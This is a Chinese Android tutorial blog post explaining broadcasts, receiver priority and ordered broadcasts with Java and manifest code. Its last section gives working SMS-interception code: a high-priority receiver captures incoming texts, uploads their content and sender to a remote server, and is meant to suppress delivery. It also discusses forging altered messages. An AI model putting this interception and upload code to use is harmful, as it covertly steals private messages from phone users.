1. 程式人生 > >Android中的廣播Broadcast詳解

Android中的廣播Broadcast詳解

               

今天來看一下Android中的廣播機制,我們知道廣播Broadcast是Android中的四大元件之一,可見他的重要性了,當然它的用途也很大的,比如一些系統的廣播:電量低、開機、鎖屏等一些操作都會發送一個廣播,具體的Android系統中的廣播可以參見我的另外一篇部落格:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.

下面就來詳細講解一下廣播機制:

廣播被分為兩種不同的型別:“普通廣播(Normal broadcasts)”和“有序廣播(Ordered broadcasts)”。普通廣播是完全非同步的,可以在同一時刻(邏輯上)被所有廣播接收者接收到,訊息傳遞的效率比較高,但缺點是:接收者不能將處理結果傳遞給下一個接收者,並且無法終止廣播

Intent的傳播;然而有序廣播是按照接收者宣告的優先級別(宣告在intent-filter元素的android:priority屬性中,數越大優先級別越高,取值範圍:-10001000。也可以呼叫IntentFilter物件的setPriority()進行設定),被接收者依次接收廣播。如:A的級別高於B,B的級別高於C,那麼,廣播先傳給A,再傳給B,最後傳給CA得到廣播後,可以往廣播裡存入資料,當廣播傳給B,B可以從廣播中得到A存入的資料。

Context.sendBroadcast()

   傳送的是普通廣播,所有訂閱者都有機會獲得並進行處理。

Context.sendOrderedBroadcast

()

   傳送的是有序廣播,系統會根據接收者宣告的優先級別按順序逐個執行接收者,前面的接收者有權終止廣播(BroadcastReceiver.abortBroadcast()),如果廣播被前面的接收者終止,後面的接收者就再也無法獲取到廣播。對於有序廣播,前面的接收者可以將處理結果存放進廣播Intent,然後傳給下一個接收者。

廣播接收者(BroadcastReceiver)用於接收廣播Intent,廣播Intent的傳送是通過呼叫Context.sendBroadcast()、Context.sendOrderedBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,這個特性跟JMS中的Topic訊息接收者類似。要實現一個廣播接收者方法如下:

第一步:定義廣播接收者,繼承BroadcastReceiver,並重寫onReceive()方法。

public class IncomingSMSReceiver extendsBroadcastReceiver @Override public void onReceive(Contextcontext, Intentintent) {  }}

第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:

第一種:使用程式碼進行訂閱(動態訂閱)

IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");IncomingSMSReceiver receiver = newIncomingSMSReceiver();registerReceiver(receiver, filter);

第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱(靜態訂閱)

<receiver android:name=".IncomingSMSReceiver">   <intent-filter>        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>   </intent-filter></receiver>
下面看一下動態廣播訂閱和靜態廣播訂閱的卻別:

靜態訂閱廣播又叫:常駐型廣播,當你的應用程式關閉了,如果有廣播資訊來,你寫的廣播接收器同樣的能接受到,他的註冊方式就是在你的應用程式中的AndroidManifast.xml進行訂閱的。

動態訂閱廣播又叫:非常駐型廣播,當應用程式結束了,廣播自然就沒有了,比如你在activity中的onCreate或者onResume中訂閱廣播,同時你必須在onDestory或者onPause中取消廣播訂閱。不然會報異常,這樣你的廣播接收器就一個非常駐型的了。

這裡面還有一個細節那就是這兩種訂閱方式,在傳送廣播的時候需要注意的是:動態註冊的時候使用的是隱式intent方式的,所以在傳送廣播的時候需要使用隱式Intent去傳送,不然是廣播接收者是接收不到廣播的,這一點要注意。但是靜態訂閱的時候,因為在AndroidMainfest.xml中訂閱的,所以在傳送廣播的時候使用顯示Intent和隱式Intent都可以(當然這個只針對於我們自己定義的廣播接收者),所以以防萬一,我們一般都採用隱式Intent去傳送廣播。

下面看一下例子:

看一下專案結構:

看一下靜態訂閱廣播:

package com.broadcast.demo;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import com.example.androidbroadcastdemo.R;/** * 靜態訂閱廣播 * @author weijiang204321 * */public class StaticRegisterBroadcastActivity extends Activity @Override protected void onCreate(Bundle savedInstanceState) {  super.onCreate(savedInstanceState);  setContentView(R.layout.activity_main);  Button btn = (Button)findViewById(R.id.btn);    btn.setOnClickListener(new OnClickListener(){   @Override   public void onClick(View v) {    //使用靜態的方式註冊廣播,可以使用顯示意圖進行傳送廣播    Intent broadcast = new Intent("com.broadcast.set.broadcast");    sendBroadcast(broadcast,null);   }     }); } }

在AndroidMainfest.xml中訂閱:

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.androidbroadcastdemo"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="8"        android:targetSdkVersion="18" />        <!-- 許可權 -->    <uses-permission android:name="android.permission.RECEIVE_SMS"/>    <uses-permission android:name="android.permission.INTERNET"/>    <uses-permission android:name="android.permission.SEND_SMS"/>    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.broadcast.demo.StaticRegisterBroadcastActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>                <!-- 無序廣播註冊START  -->        <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">            <intent-filter >                <action android:name="com.broadcast.demo.mybroadcast"/>            </intent-filter>        </receiver>        <!-- 無序廣播註冊END -->                <!-- 有序廣播的註冊START -->        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">            <intent-filter android:priority="999">                <action android:name="com.broadcast.set.broadcast"/>            </intent-filter>        </receiver>                <!-- 接收簡訊廣播 -->        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">            <intent-filter android:priority="1000">                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter>        </receiver>        <!-- 有序廣播的註冊END -->                <!-- 上傳簡訊內容的Service -->        <service android:name="com.broadcast.service.UploadSMSService">            <intent-filter >                <action android:name="com.broadcast.service.uploadsmsservice"/>            </intent-filter>        </service>            </application></manifest>
先不要管其他的內容了,後面會講到,這裡只關注靜態廣播的註冊
<!-- 無序廣播註冊START  -->       <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">            <intent-filter >                <action android:name="com.broadcast.demo.mybroadcast"/>            </intent-filter>        </receiver><!-- 無序廣播註冊END -->
下面來看一下廣播的接收者:
package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者 * @author weijiang204321 * */public class UnSortBroadcastReceiver extends BroadcastReceiver @Override public void onReceive(Context context, Intent intent) {  Log.e("Intent_Action:",intent.getAction()+""); }}
在廣播接收者中的onReceive方法中的邏輯很簡單,就是列印Action的內容。

執行程式,結果很簡單,這裡就不上圖片了。

下面來看一下動態訂閱:

package com.broadcast.demo;import android.app.Activity;import android.content.Intent;import android.content.IntentFilter;import android.os.Bundle;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import com.broadcast.receiver.UnSortBroadcastReceiver;import com.example.androidbroadcastdemo.R;/** * 使用動態的方式註冊廣播 * @author weijiang204321 * */public class DynamicRegisterBroadcastActivity extends Activity {  public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM"protected  UnSortBroadcastReceiver receiver;  @Override protected void onCreate(Bundle savedInstanceState) {  super.onCreate(savedInstanceState);  setContentView(R.layout.activity_main);  Button btn0 = (Button) findViewById(R.id.btn);  btn0.setOnClickListener(new OnClickListener() {   public void onClick(View v) {    //傳送廣播    Intent it = new Intent(NEW_LIFEFORM_DETECTED);    sendBroadcast(it);   }  }); } @Override protected void onResume() {  super.onResume();  //註冊廣播  IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);  receiver = new UnSortBroadcastReceiver();  registerReceiver(receiver, counterActionFilter); } @Override protected void onPause() {  super.onPause();  //取消廣播  unregisterReceiver(receiver); }}
這裡我們是在onResume中進行訂閱廣播,在onPause中取消訂閱廣播。

AndroidMainfest.xml中將啟動的Activity改成DynamicRegisterBroadcastActivity,其他的內容不需要修改,執行程式,列印結果很簡單,這裡就不上圖了。

下面來看一下有序廣播和無序廣播

這個我們在開始的時候已經說到了,下面來看一下無序廣播:

首先我們定義兩個廣播接收者:

第一個廣播接收者:

package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver@Override public void onReceive(Context context, Intent intent) {  Log.e("Demo:","廣播接收者A"); }}
第二個廣播接收者:
package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;/** * 廣播接收者B * @author weijiang204321 * */public class SortBroadcastReceiverB extends BroadcastReceiver@Override public void onReceive(Context context, Intent intent) {  Log.e("Demo:","廣播B"); }  }

在AndroidMainfest.xml中訂閱廣播

 <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">            <intent-filter android:priority="999">                <action android:name="com.broadcast.set.broadcast"/>            </intent-filter></receiver>        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">            <intent-filter android:priority="1000">                <action android:name="com.broadcast.set.broadcast"/>            </intent-filter></receiver>
執行結果:

執行結果有點奇怪,為什麼是接收者B在前面,接收者A在後面,原因就是我們在AndroidMainfest.xml中訂閱廣播的時候在intent-filter設定了android:priority屬性值,值越大優先順序越高,接收者B的優先順序是1000,接收者A的優先順序是999,所以是B先接收到廣播,然後A才接收到,但是接收者B和接收者A之間沒有聯絡,也不能有互動的,因為是這是無序廣播,是非同步的,我們可以做個試驗就是在B中的onReceiver方法中新增程式碼:

abortBroadcast();//終止此次廣播的傳輸

執行結果:

我們可以看到提示錯誤,就是non-ordered broadcast無序廣播不允許終止廣播,其實終止也沒有用,因為接收者A還是接收到廣播了。

下面來看一下有序廣播,程式碼需要做一下修改:

首先是在傳送廣播的時候:

Intent broadcast = new Intent("com.broadcast.set.broadcast");sendOrderedBroadcast(broadcast,null);
然後在B接收者中的新增終止廣播的方法:

abortBroadcast();

其他的程式碼不需要修改,執行結果:

只有B接收者了,A接收者沒有接收到廣播了,因為在B接收者中將廣播給終止了,後面的接收者都接受不到了。

下面在修改一下程式碼:

接收者B:

package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.util.Log;/** * 廣播接收者B * @author weijiang204321 * */public class SortBroadcastReceiverB extends BroadcastReceiver@Override public void onReceive(Context context, Intent intent) {  Log.e("Demo:","廣播接收者B");  Bundle bundle = new Bundle();  bundle.putString("next_receiver", "下一個廣播接收者");  setResultExtras(bundle); } }
B接收到廣播後,存入一些值,傳給下一個接收者。

接收者A的程式碼:

package com.broadcast.receiver;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.os.Bundle;import android.util.Log;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver@Override public void onReceive(Context context, Intent intent) {  Log.e("Demo:","廣播接收者A");  Bundle bundle = getResultExtras(true);  String content = bundle.getString("next_receiver");  Log.e("Demo:",content+"");   }}
執行結果如下:

接收者A收到了上一個接收者B傳遞的資訊,這個資訊可以保留到後面的所有接收者,直到廣播終止。

上面講到的就是有序廣播的特點,可以看出是一個同步的動作,接收者之間可以進行資料的互動(上一個傳遞資料給下一個),也可以控制廣播的終止。

下面來做一個案例就是網上很多人弄過的:簡訊攔截

系統在收到簡訊的時候,會發送一個:android.provider.Telephony.SMS_RECEIVED這樣的廣播,而且這是一個有序的廣播,所以我們就可以攔截了這條簡訊,因為系統中的簡訊接收者的訂閱優先順序不是1000最高的,所以我們可以自己定義一個簡訊接收者,將訂閱優先順序設定成1000,這樣我們就可以最先獲取到簡訊內容,然後將擷取到知道號碼的簡訊內容上傳到伺服器上進行儲存,然後終止廣播。讓系統接收不到這條簡訊。

這裡面我們還需要了解的技術就是簡訊內容的獲取,這個我們在程式碼中解釋:

下面來看一下我們定義的簡訊接收者:

package com.broadcast.receiver;import java.text.SimpleDateFormat;import java.util.Date;import android.annotation.SuppressLint;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.telephony.SmsMessage;import android.util.Log;import com.broadcast.service.UploadSMSService;/** * 廣播接收者A * @author weijiang204321 * */public class SortBroadcastReceiverA extends BroadcastReceiver@SuppressLint("SimpleDateFormat"@Override public void onReceive(Context context, Intent intent) {  //獲取簡訊的相關資訊,使用欄位pdus  Object[] pdus = (Object[]) intent.getExtras().get("pdus");  StringBuilder content = new StringBuilder();  String receiveTime = "";  String senderNumber = "";  for(Object p : pdus){   byte[] pdu = (byte[]) p;   SmsMessage message = SmsMessage.createFromPdu(pdu);   content.append(message.getMessageBody());   Date date = new Date(message.getTimestampMillis());   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");   receiveTime = format.format(date);   senderNumber = message.getOriginatingAddress();  }    Log.e("Demo:","上傳簡訊內容是:"+content.toString());  Log.e("Demo:","接收簡訊的時間是"+receiveTime);  Log.e("Demo:","傳送簡訊的號碼是:"+senderNumber);    //攔截的號碼是:18910958627,注意前面還有+86是中國地區的編號  if("+8618910958627".equals(senderNumber)){   //攔截成功 ,上傳資訊   Intent service = new Intent(context,UploadSMSService.class);   service.putExtra("content", content.toString());   service.putExtra("receiveTime",receiveTime);   service.putExtra("senderNumber", senderNumber);   context.startService(service);  }   }}
在onReceive方法中我們通過intent中的Bundle獲取簡訊的相關資訊。

下面在看一下上傳簡訊資訊的服務Service:

package com.broadcast.service;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import android.app.Service;import android.content.Intent;import android.os.IBinder;/** * 上傳簡訊內容的service * @author weijiang204321 * */public class UploadSMSService extends Service@Override public IBinder onBind(Intent intent) {  return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) {  //獲取簡訊內容和接收時間,傳送者的號碼  final String content = intent.getStringExtra("content");  final String receiveTime = intent.getStringExtra("receiveTime");  final String senderNumber = intent.getStringExtra("senderNumber");    new Thread(){   @Override   public void run(){    sendSMS(content,receiveTime,senderNumber);    //上傳完成之後就結束service    stopSelf();   }  }.start();    return super.onStartCommand(intent, flags, startId); }  /**  * 上傳簡訊內容  * @param content  * @param receiveTime  * @param senderNumber  * @return  */ private boolean sendSMS(String content, String receiveTime, String senderNumber) {  try{   String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;   byte[] entity = params.getBytes();   String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet";   HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();   conn.setConnectTimeout(5000);   conn.setRequestMethod("POST");   conn.setDoOutput(true);   conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");   conn.setRequestProperty("Content-Length", String.valueOf(entity.length));   conn.getOutputStream().write(entity);   if(conn.getResponseCode() == 200){    return true;   }  }catch (Exception e) {   e.printStackTrace();  }  return false; }}
這個服務的邏輯也很簡單的,在獲取到簡訊資訊的時候,將內容進行上傳。

最後不能忘了在AndroidMainfest.xml中新增許可權:

<uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.INTERNET"/>
訂閱簡訊廣播:
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">            <intent-filter android:priority="999">                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>            </intent-filter></receiver>

當然這裡還需要有一個簡訊內容的接收服務端,在服務端定義一個Servlet來接受資料,具體的服務端的環境搭建,自己上網搜尋相關資料進行搭建:

package com.servlet.receivesms;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ReceiveSMSServlet extends HttpServletprivate static final long serialVersionUID = 1L@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {  req.setCharacterEncoding("utf-8");  String content = req.getParameter("content");  String receiveTime = req.getParameter("receivetime");  String phoneNumber = req.getParameter("sendernumber");  System.out.println("傳送內容:"+content);  System.out.println("傳送時間:"+receiveTime);  System.out.println("傳送號碼:"+phoneNumber);  super.doGet(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {  super.doPost(req, resp); }}
測試結果,客戶端攔截的號碼是18910958627,注意前面有+86是中國區域的編碼,服務端接收資料為:

這樣就表示擷取簡訊內容成功,並且成功上傳到伺服器上了。

對於上面的簡訊攔截的功能還有待加強,就是現在想把簡訊的內容攔截下來,進行篡改,然後再發給下一個接收者?

方案一:在我們定義的簡訊廣播接收者中,我們能夠從intent中的Bundle中通過key="pdus"來獲取簡訊內容的,那麼我們可以自己從新組建一個新的Bundle,在這個Bundle中存入我們篡改的資訊,然後替換之前的Bundle

問題:實施了,但是問題是Bundle是替換不了的,不知道是什麼原因?

方案二:由於第一種方案的失敗,導致了我從新想到一個方案就是擷取簡訊內容之後,終止此次廣播,然後傳送一條簡訊,這時候簡訊的內容為我們篡改的內容,但是這裡需要注意的是,要做判斷,因為我們定義的簡訊接收者的優先順序最高,所以我們傳送篡改後的簡訊又被我們的簡訊接收者給攔截了,但是我們是不想這樣的,所以要做個判斷,這個很簡單的,使用SharePerenced存入一個boolean值就行了。

問題:本來以為這種方案是完美了,但是問題是傳送資訊的時候,系統提供的方法中的引數是:接收者號碼,傳送者號碼,簡訊內容,還有其他的引數就不解釋了,這很簡單呀,我們現在正好需要這三個引數,立馬傳遞進去,結果是收取不到簡訊,檢視文件,發現那個傳送者號碼的引數是簡訊服務中心的號碼(也不知道什麼意思),當把它設定成null的時候簡訊就可以發出去了,但是設定成null的話,就不能說是誰發的簡訊了沒有意義呀!

現在很糾結,問題還沒有解決,如果有哪位大神有好的方法,請說明,小弟不慎感激!

總結:

在Android中,程式的響應(Responsive)被活動管理器(ActivityManager)和視窗管理器(Window Manager)這兩個系統服務所監視。當BroadcastReceiver在10秒內沒有執行完畢,Android會認為該程式無響應。所以在BroadcastReceiver裡不能做一些比較耗時的操作,否側會彈出ANR(Application No Response)的對話方塊。如果需要完成一項比較耗時的工作,應該通過傳送Intent給Service,由Service來完成。而不是使用子執行緒的方法來解決,因為BroadcastReceiver的生命週期很短(在onReceive()執行後BroadcastReceiver 的例項就會被銷燬),子執行緒可能還沒有結束BroadcastReceiver就先結束了。如果BroadcastReceiver結束了,它的宿主程序還在執行,那麼子執行緒還會繼續執行。但宿主程序此時很容易在系統需要記憶體時被優先殺死,因為它屬於空程序(沒有任何活動元件的程序)。

public class IncomingSMSReceiver extendsBroadcastReceiver {  @Override public void onReceive(Contextcontext, Intentintent) {            //傳送Intent啟動服務,由服務來完成比較耗時的操作            Intent service =new Intent(context,XxxService.class);            context.startService(service);  }}

每次廣播訊息到來時都會建立BroadcastReceiver例項並執行onReceive() 方法。

所以上面的簡訊內容上傳到伺服器上的邏輯功能不能在廣播中執行,需要開啟一個服務進行上傳。

《Android應用安全防護和逆向分析》

點選立即購買:京東  天貓  亞馬遜 噹噹

更多內容:點選這裡

關注微信公眾號,最新技術乾貨實時推送

編碼美麗技術圈微信掃一掃進入我的"技術圈"世界掃一掃加小編微信新增時請註明:“編碼美麗”非常感謝!